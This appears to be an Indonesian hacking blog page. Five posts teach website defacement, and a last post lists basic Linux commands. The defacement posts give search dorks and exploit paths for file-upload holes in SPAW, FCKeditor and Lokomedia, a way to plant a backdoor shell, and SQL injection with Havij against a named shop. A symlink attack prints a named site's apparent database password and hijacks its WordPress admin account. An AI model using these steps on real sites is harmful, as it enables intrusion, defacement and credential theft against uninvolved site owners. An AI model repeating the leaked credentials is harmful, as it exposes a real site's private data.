Deface Website Dengan Metode Spaw Uploads

 By: Unknown    6:48 PM     No comments

Kali ini saya mau share tutorial deface sob, nama teknik defacenya yaitu Deface Website Melalui Spaw Uploads Vulnerability.

Yaudah deh, dari pada lama-lama ngoceh ngga jelas, mending langsung ke tkp aja gan. Berikut Cara Deface Website Melalui Spaw Uploads Vulnerability Cekidot (^_^)

1). Pertama, Masukan Dorknya :

inurl:”spaw2/uploads/files/”

Setelah sobat memasukan dork diatas dikotak pencarian google, pilih salah satu web yang mau dideface. Tapi ingat, ngga semua website bisa dideface :p

Notes : Dorknya bisa kalian ubah menurut kreativitas kalian masing-masing, contoh saya tambahkan site:th pada akhir dork diatas. Jadi hasilnya begini :

inurl:”spaw2/uploads/files/” site:th

Maksud dari site:th adalah domain negara asal website yang akan kita serang, "site:th" asal kata Thailand, jadi website yang akan kita serang semuanya website Thailand. Kalian juga bisa mengganti dengan domain negara lain, misalnya site:com.my, site:jp, site:gov.cn etc asal jangansite:co.id yah !

2). Setelah sobat masuk kedalam websitenya, sobat liat Url di addressbar. Contoh Urlnya :

http://contoh.com/spaw2/uploads/files/

3). Ganti pada Bagian /spaw2/uploads/files/ dengan kode dibawah ini :

spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

Sehingga Menjadi Seperti Ini :

http://contoh.com/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=file

4). Tekan Enter, Nanti akan Terbuka Seperti Ini :

5). Selanjutnya Liat Terus Gambar, Karena Tutorial ada Didalam Gambar.

6). Next, Pilih File Deface'an Sobat, Lalu klik Open dan Tunggu Hingga Loading Selesai.

7). Selanjutnya Klik Tombol Upload.

8). Jika Proses Upload Selesai, Nanti akan Muncul Daftar File dan diantaranya ada File yang sobat upload tadi.

9). Selesai, dan Hasilnya :

http://hacker.website.org/

Mungkin orang mengira saya gila tutor, segampang ini harus diperjelas seperti ini. Tapi inilah saya, sosok yang tidak sempurna dan masih banyak kekurangan. Saya hanya ingin memperjelas kepada sobat semua agar sobat bisa mengerti dengan jelas.

Karena dari pengalaman saya dulu saat menjadi newbie ( Sekarang pun Masih Newbie ) susah sekali mencari tutor yang sangat mudah untuk dimengerti, cari sana-sini tapi hasil tetap 0.

Maka tujuan saya menulis tutorial ini biar sobat-sobat semua yang masih pemula ( Bukan saya sok, saya juga masih belajar ) dan masih belajar bisa mengerti.

Sekian Postingan saya kali ini tentang Cara Deface Website Melalui Spaw Uploads Vulnerability, semoga dapat bermanfaat bagi sobat semua.

Read More

Deface Website Dengan Metode Fck Editor

 By: Unknown    6:46 PM     No comments

Deface website dengan teknik FckEditor ini adalah teknik yang paling mudah dalam mendeface sebuah website
Teknik deface Fck Editor dibagi menjadi 4 yaitu :

1. Powered CubeCart

Adalah module Deface Upload file, kita bisa menggunakan cara ini.

Dork    : Powered By CubeCart V 3.0

Exploit :  /admin/includes/rte/editor/filemanager/browser/default/connectors/test.html

Contoh: www.target.com/admin/includes/rte/editor/filemanager/browser/default/connectors/test.html

2. Powered By OpenCart

Dork   :  Powered By OpenCart

Exploit:  admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

Contoh : www.target.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

3. Powered By OscMax V 2.0

Dork    : Powered By OscMax V 2.0

Exploit : FCKeditor/editor/filemanager/browser/default/connectors/test.html

Contoh ;www.target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

4. Hacking TXt.

Hacking Txt ini sama saja dengan Konsep 3 di atas it, cuma bedany khusus fiile txt saja yg bisa di upload, bentuk file lain tdk akan mnerima  

Dork   : Inurl:/FCKeditor/editor/filemanager/

Exploit : /FCKeditor/editor/filemanager/browser/default/connectors/test.html
Contoh: www.target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

dengan mencarinya dengan google dork atau mengexploit urlnya langsung ( tidak semua website support dengan cara fck editor sebaiknya anda mencarinya dengan google dork saja )

Jika sudah ketemu url target maka akan muncul tampilan seperti  ini.

• Ganti connectornya menjadi PHP
• Klik choose file sesuai jenis website jika opencart anda bisa upload file html tetapi jika bukan biasanya hanya bisa upload file txt
• Klik Upload
• Jika berhasil maka akan muncul pesan "File Upload No Error"
• Klik Get folder untuk mendapatkan URL file yang di Upload

Belajar Hacking memang gampang-gampang susah gan.

Read More

Deface Website Dengan Metode Bug's CMS Lokomedia

 By: Unknown    6:45 PM     No comments

Oke langsung saja yaa gan
 

Dork : allinurl:media.php?module=berita

Pilih suatu web yang menurut anda bisa di deface dengan lokomedia.

http://www.target.com/admin/content.php?module=banner

Langsung ganti url web target nya menjadi sperti berikut :

http://www.target.com/admin/modul/mod_banner.php

Kemudian klik icon Tambah Banner dan akan muncul Halaman Upload banner, jangan diapakan dahulu, sekarang kita copy semua html tersebut dengan cara CTRL + U dan simpan di Notepad. Didalam Source tersebut ada :

./aksi.php?module=banner&act=input

Kemudian ganti dengan

http://www.target.com/admin/aksi.php?module=banner&act=input

Simpan dengan Nama apa saja terserah anda kehendaki dengan format .html, kemudian buka file tersebut dan isilah dengan backdoor yang anda miliki. Selanjutnya tinggal lihat hasil nya di :

http://www.target.com/admin/foto_berita/shell.php

Setelah itu terserah kreasi anda sendiri yang mempunyai backdoor menjadi hak utuh milik anda , kami hanya share ilmu yang kami tahu dan tidak untuk membahayakan dan merugikan pihak lain bahkan resiko anda sendiri yang menanggungnya. Dan Untuk admin website Lokomedia saya harapkan untuk menutup bugs tersebut agar website anda aman dari serangan defacer yang banyak di dunia maya ini. Semoga Bermanfaat untuk anda semu.

Read More

Deface Website Dengan Metode SQL Injection HAVIJ

 By: Unknown    6:41 PM     No comments

Oke, kali ini saya akan memberikan tutorial tentang bagaimana cara mendeface website dengan havij SQL Injection

Tool havij sendiri fungsinya memang untuk sql injection, jadi kita tidak perlu capek2 untuk inject manual. cukup dengan klik klik langsung beres deh.

Tool ini juga cukup apik, karena sudah disertakan md5 cracker, admin finder dll.

Tool havij yg saya gunakan disini adalah versi 1.10. Bagi yang belum punya tool havij silahkan download :

Disini Gan

Bagi yg sudah mahir menggunakan tool ini, pasti sudah tahu dan lewat saja. Namun bagi yang belum pernah mencoba pasti bingung. Simak baik-baik tutorial ini. Langsung saja kita menuju ke TKP.

1. Cari Targetnya dulu dengan dork: berita.php?id=100
Disini saya sudah mendapatkan target yaitu:
http://www.thenaturalbabyco.com/product.php?pID=100032

2. Kemudian buka tool havij kalian, dan masukan url korban dimenu TARGET. Lihat sperti gambar berikut:

3. Setelah itu klik ANALIZE. Tunggu beberapa saat. nah, setelah selesai dan sudah dianalyze, maka akan muncul informasi server target dan yang terpenting adalah nama databasenya. Simak gambar dibawah ini:

4. Sekarang tinggal mencari tabelnya. klik tabel. dan klik GET TABLES simak gambar dibawah ini:

5. Setelah nama-nama tabelnya sudah keluar, sekarang saatnya mencari kolom. Pilih salah satu tabel dengan menchecklistnya lalu klik GET COLUMNS. Simak gambar dibawah ini:

6. Setelah columns dari tabelnya sudah keluar, maka langkah terakhir adalah dump isinya. Saya disini akan mengedump tabel administrator, yang didalamnya terdapat columns username dan password. checklist kolom mana yg ingin didump lalu klik GET DATA. Contoh lihat gambar dibawah ini:

Oke, kita sudah dapat username dan passwordnya. sekarang tinggal mendecrypt passwordnya dan mencari admin pagenya.

Untuk mendecrypt password bisa dilakukan ditab md5 lalu masukan passwordnya dan klik Start.

Untuk mencari admin page nya bisa dilakukan ditab Find Admin setelah itu masukan url korban dan klik Start.

Nanti akan muncul halaman adminnya. Misalnya tidak muncul bisa menggunakan alternatif lain sperti mencari admin page dengan Admin Finder. Untuk admin finder dapat dicek disini: http://tool.suramz.com/adminfb.php Atau cari ditempat lain.

Kalau misalnya adminnya tidak ketemu juga, anda bisa menscannya dengan tool Acunetix. kalau tidak dapat juga. Silahkan pasrah dan cari target lain.

Alternatif lain/tempat mendecrypt password juga ada banyak. Silahkan search di google. Atau bisa juga decrypt disini: www.md5decrypter.co.uk

Read More

Deface Website Dengan Metode Symlink

 By: Unknown    6:38 PM     No comments

Halo sob, kali ini saya akan berbagi cara menggunakan Symlink.

Saya anggap agan udah punya target dan sudah di pasang Backdoor/shell di web target, saya tidak akan menjelaskan caranya, karena saya anggap agan sudah bisa mencari target sendiri .

Pertama masuk ke Shell yang sudah di tanam di web target.

lalu upload Sym.php ( Digunakan untuk SYMLINK ).

Klo belum punya silahkan Download Disini Sob

Pada gambar di atas saya sudah upload sym.php melalui shell yang saya tanam.

Selanjutnya akses / buka symlink yang telah agan upload.

Lalu klik user & domain & symlink.

Terlihat banyak sekali target-target lain, dan yang akan saya jadikan target adalah thefussyeater.org lalu klik "symlink".

Lalu kita cari confignya, dan target saya ini wordpress saya menemukan wp-config.php lalu saya klik.

Jika CMS Joomla cari saja configuration.php, jika CMS Lokomedia, cari saja di config/koneksi.php, jika CMS Balitbang cari saja di lib/config.php.

Perhatikan baris ini :

define('DB_HOST', 'localhost');

DB NAME = thefussy_wrdp3

DB USER = thefussy_wrdp3

DB PASSWORD = CZyLRz1EuwSd

DB HOST = localhost

Diatas adalah informasi mengenai Akses Database MySQL.

Lalu setelah mendapatkan informasi username & password Database MySQL seperti diatas, kembali ke shell pertama.

Klik koneksi MySQL.

Lalu isi dengan data - data yang telah di peroleh pada file configurasi  diatas tadi, dan saya klik Connect.

Jika di dalam shell agan tidak ada menu Koneksi MySQL Download INI lalu Upload , akses dan login.

Lalu, saya klik "wp_user".

Terlihat passwordnya dalam bentuk encrypt md5, jadi kita rubah saja .

Agan buat password dalam bentuk MD5 Disini Sob.

Saya mencoba password 121212 dan setelah di enskripsi menjadi 93279e3308bdbbeed946fc965017f67a Lalu saya rubah password wp-user nya dan saya ganti dengan password saya 93279e3308bdbbeed946fc965017f67a

Saya sudah merubah dengan 93279e3308bdbbeed946fc965017f67a dan saya klik confirm untuk menyimpan pengaturannya, dan pada pengaturan selanjutnya klik Yes.

Berarti saya akan login dengan username admin dan password 121212.

Sekarang kita coba sob (^_^). 

Saya coba ke halaman loginwebnya http://thefussyeater.org/wp-admin

Saya login & wauuuuu, kereennn sob .

Saya berhasil masuk .

Jika sudah seperti ini terserah anda sob, kalo pengen nanam shell silahkan, asal jangan lupa di backup file pentingnya dan jangan di rusak -_-

Selamat Mencoba ^^.

Read More

Perintah - Perintah Dasar Linux Ubuntu Server

 By: Unknown    6:36 PM     No comments

Ubuntu sangat terkenal dengan CLI-nya (Command Line Interface). CLI sendiri adalah antar muka yang tidak menyediakan grafik, baik berupa gambar-gambar, jendela-jendela ataupun animasi-animasi yang bisa memanjakan pengguna, melainkan hanya berupa teks yang harus diketikkan oleh pengguna. Jadi, apabila user ingin melakukan operasi dalam sistem operasi tersebut, misalnya melakukan copy,  rename,  cut, delete, dan sebagainya,  maka pengguna harus megetikkan perintah berupa teks dengan cara manual dan bukan dengan klik-klik seperti pada interface GUI (Graphic User Interface).
 

Berikut ini adalah beberapa perintah yang bisa digunakan di sistem operasi Ubuntu pada mode CLI, baik Desktop maupun Server, yang juga banyak untuk bisa digunakan pada distro yang lain. Pada contoh ini saya menggunakan Ubuntu Desktop 10.10.

1. sudo su

Digunakan untuk login sebagai root/pengguna tertinggi

Sintaks sudo su

2. login

Digunakan untuk login sebagai user lain, namun harus menjadi root dulu untuk bisa menjalankan peirntah ini.

Sintaks : login namauser

Contoh : login adam

3. cd

Digunakan untuk berpindah direktori

Sintaks : cd alamat_direktori

Contoh : cd /var/www

4. pwd

Digunakan untuk memperlihatkan di direktori mana posisi kita berada sekarang.

Sintaks : pwd

5. ls

Digunakan untuk melihat isi sebuah direktori.

Sintaks : ls

6. cp

Digunakan untuk melakukan copy file.

Sintaks : cp /direktori/file_yang_ingin_dicopy /direktori tujuan

Contoh : cp /etc/file1.txt /var/www

7. mv

Digunakan untuk melakukan memindahkan, cut atau rename file.

Sintaks :

mv /direktori/file_yang_ingin_dicut /direktori tujuan (cut)

mv /direktori/file_yang_ingin_direname /nama_baru_file (rename)

Contoh:

mv /etc/file1.txt /var/www

mv /etc/file1.txt file2.txt

8. mkdir

Digunakan untuk membuat folder baru.

Sintaks : mkdir nama_folder

Contoh : mkdir folder1

9. rmdir

Digunakan untuk menghapus folder.

Sintaks : rmdir nama_folder

Contoh : rmdir folder1

10. touch

Digunakan untuk membuat file baru.

Sintaks : touch nama_file

Contoh : touch file1.txt

11. rm

Digunakan untuk menghapus file.

Sintaks : rm nama_file

Contoh : rm file1.txt

12. more

Digunakan untuk menampilkan isi sebuah file

Sintaks : more nama_fie

Contoh : more file1.txt

13. echo

Digunakan untuk menuliskan sesuatu kata atau kalimat ke sebuah file.

Sintaks : echo “isi pesan” nama_file

Contoh : echo “Hai ini adalah contoh pesan” >> file1.txt

14. adduser

Digunakan untuk menambah user baru.

Sintaks : adduser nama_user

Contoh : adduser adamkurniawan

15. addgroup

Digunakan untuk menambah group baru

Sintaks : addgroup nama_group

Contoh : addgroup grup1

16. lsusb

Digunakan untuk melihat perangkat usb yang sedang terkoneksi ke komputer

Sintaks : lsusb

17. lspci

Digunakan untuk melihat perangkat pci yang sedang terkoneksi ke komputer

Sintaks : lspci

18. lshw

Digunakan untuk melihat hardware komputer.

Sintaks : lshw

19. dmesg

Digunakan untuk melihat hardware yang sedang beraktifitas

Sintaks : dmseg

20. top

Digunakan untuk melihat proses yang sedang berjalan, seperti Task Manager pada Windows.

Sintaks : top

21. cpuinfo

Digunakan untuk melihat spesifikasi komputer.

Sintaks : more /proc/cpuinfo

22. meminfo

Digunakan untuk melihat status RAM

Sintaks : more /proc/meminfo

23. clear

Digunakan untuk membersihkan layar

Sintaks : clear

24. halt

Digunakan untuk mematikan komputer, namun harus sebagai root.

Sintaks : halt

25. reboot

Digunakan untuk merestart komputer, namun harus sebagai root.

Sintaks : reboot

26. exit

Digunakan untuk keluar dari terminal.

Sintaks : exit

27. wget

Digunakan untuk mendownload via terminal

Sintaks : wget link_download

Contoh : wget www.insightcalendar.com/Insight_Calendar_1-1_Setup.exe

28. ifconfig

Digunakan untuk melihat konfigurasi ethernet/kartu jaringan.

Sintaks : ifconfig

29. apt-get

Digunakan untuk memperoleh paket/software dari repository ubuntu secara online.

Sintax : apt-get nama_paket

Contoh :

apt-get update (untuk melakukan update repository)

apt-get update wine (untuk mendapatkan paket wine)

30. tar

Digunakan untuk melakukan extract file.

Sintaks : tar [parameter] nama_file

Contoh : tar -xzvf komodo-edit-5.2.4-4343-linux-libcpp6-x86.tar.gz

31. nautilus

Digunakan untuk membuka tampilan GUI secara langsung.

Sintaks : nautilus

Contoh : sudo nautilus (menggunakan mode GUI dengan status root)

32. df -h

melihat sisa kapasitas harddisk.

sintaks : df -h

33. who     

digunakan untuk melihat nama login kita.

sintaks : who      

34. cat          

digunakan untuk membuka file.

sintaks : cat        

contoh: cat test.txt

35. date 

melihat tanggal

sintaks : date

36. cal

melihat kalender

sintaks : melihat tanggal

37. hostname 

Menampilkan nama komputer.

sintaks: hostname 

38. free     

Melihat Free memory.

sintaks: free     

39. History

melihat perintah apa saja yang pernah diketik

sintaks : History 
40. deluser
 Menghapus user dari sistem sintaks : deluser [nama user]

uname -r = Melihat kernel yang digunakan pada OS.

uname -a = Informasi system kernel anda.
cat /proc/cpuinfo = Melihat file pada /proc directori yang bukan merupakan file nyata (not real files). 
cat /proc/interrupts = Melihat alamat interrupt yang dipakai. 
cat /proc/version = Versi dari Linux dan informasi lainnya. 
cat /proc/filesystems = Melihat filesystem yang digunakan. 
cat /etc/printcap = Melihat printer yang telah disetup.
finger username = Melihat informasi user, coba jalankan; fingerroot
last = Melihat user sebelumnya yang telah login di komputer.
uptime = Melihat jumlah waktu pemakaian komputer oleh seseorang, terhitung proses reboot terakhir.
ps (print status) = Melihat proses-proses yang dijalankan oleh user.
ps axu = Melihat seluruh proses yang dijalankan, walaupun tanpa terminal control, juga ditampilkan nama dari user untuk setiap proses.
top = Melihat proses yang berjalan, dengan urutan penggunaan cpu. 
apropos =  Untuk mencari perintah pada sistem operasi yang mempunyai fungsi yang sama.
chmod = Mengubah perizinan suatu direktori/file.
wc = Menghitung jumlah kata, jumlah baris dan jumlah karakter dalam suatu file.
man = Singkatan dari manual yaitu untuk menampilkan halaman manual untuk semua perintah UNIX. 
grep = Mencari isi suatu file di sembarang directori.
pwd = Menampilkan nama direktori dimana Anda saat itu sedang berada. 
ps = Digunakan untuk memonitor informasi tentang proses yang aktif dalam sistem UNIX.
kill =  Digunakan untuk menghentikan proses yang sedang berjalan.
bc = Perintah bc dapat digunakan sebagai calculator.
wall = Pengiriman pesan oleh super user.
:w di gunakan u/ menyimpan file or sama dengan (save).
:q digunakan u/ keluar dari editor tandan mentimpan file.
:wq digunakan u/ keluar dari editor sekaligus menyimpan file. 
tail = Menampilkan 10 baris terakhir dari suatu file. 
ls -l = Melihat semua file lengkap.
ls -a = Menampilkan semua file atau direktori yang tersembunyi.
ls -f = Menampilkan semua file atau direktori tanpa proses shorting.
grep root /etc/passwd =  Mencari kata atau kalimat dalam file.

Itu beberapa command yang saya ingat saat ini yang bisa digunakan dibanyak distro Linux, walaupun ada beberapa yang hanya khusus di Ubuntu saja. Jika ada yang saya ingat lagi, akan saya tambah. Semoga membantu..

Selamat Belajar ^^

Read More